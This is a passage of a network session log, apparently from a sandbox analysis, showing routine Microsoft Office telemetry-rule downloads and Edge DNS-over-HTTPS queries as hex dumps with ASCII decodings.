T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:46 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:46 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081646Z-178bfbc474bv587zhC1NYCny5w00000003z000000000f7xs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:46 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49799	94.245.104.56	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:46 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:16:46 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sat, 23 Nov 2024 08:16:46 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=615eda4c0d3165a2d4f9951294e051731fcb214a3d398c87cf3569f0f2635bcf;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=615eda4c0d3165a2d4f9951294e051731fcb214a3d398c87cf3569f0f2635bcf;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:46 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:46 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 77e83d57-401e-0016-5857-3c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081646Z-15b8b599d88f9wfchC1TEBm2kc00000002pg00000000g9ey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:46 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:46 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:46 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c2dc1527-b01e-0053-5db2-3bcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081646Z-174c587ffdf59vqchC1TEByk6800000002u0000000008sya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:46 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:48 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:49 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1b17855c-f01e-0099-1f6a-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081649Z-174c587ffdfl22mzhC1TEBk40c00000002tg00000000abxq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:49 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:49 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: abcc4943-b01e-00ab-2315-3ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081649Z-178bfbc474bxkclvhC1NYC69g40000000480000000000bgq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:49 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:49 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 907655e5-001e-0065-594b-3c0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081649Z-15b8b599d88s6mj9hC1TEBur3000000002f0000000009mtm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:49 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:49 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 5304f1e1-001e-005a-6c6b-3bc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081649Z-178bfbc474bnwsh4hC1NYC2ubs0000000480000000008kya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:49 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081649Z-174c587ffdf4zw2thC1TEBu34000000002tg0000000053h8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49827	162.159.61.3	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:49 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 08:16:49 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 08:16:50 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 08:16:49 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6fb8286e4d1a0f-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 08:16:50 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0e 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49838	162.159.61.3	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:49 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 08:16:49 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 08:16:50 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 08:16:50 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6fb828ccc141db-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 08:16:50 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1b 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49836	162.159.61.3	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:49 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 08:16:49 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 08:16:50 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 08:16:50 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6fb82918bfde97-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 08:16:50 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 22 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom"PC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49841	162.159.61.3	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:49 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
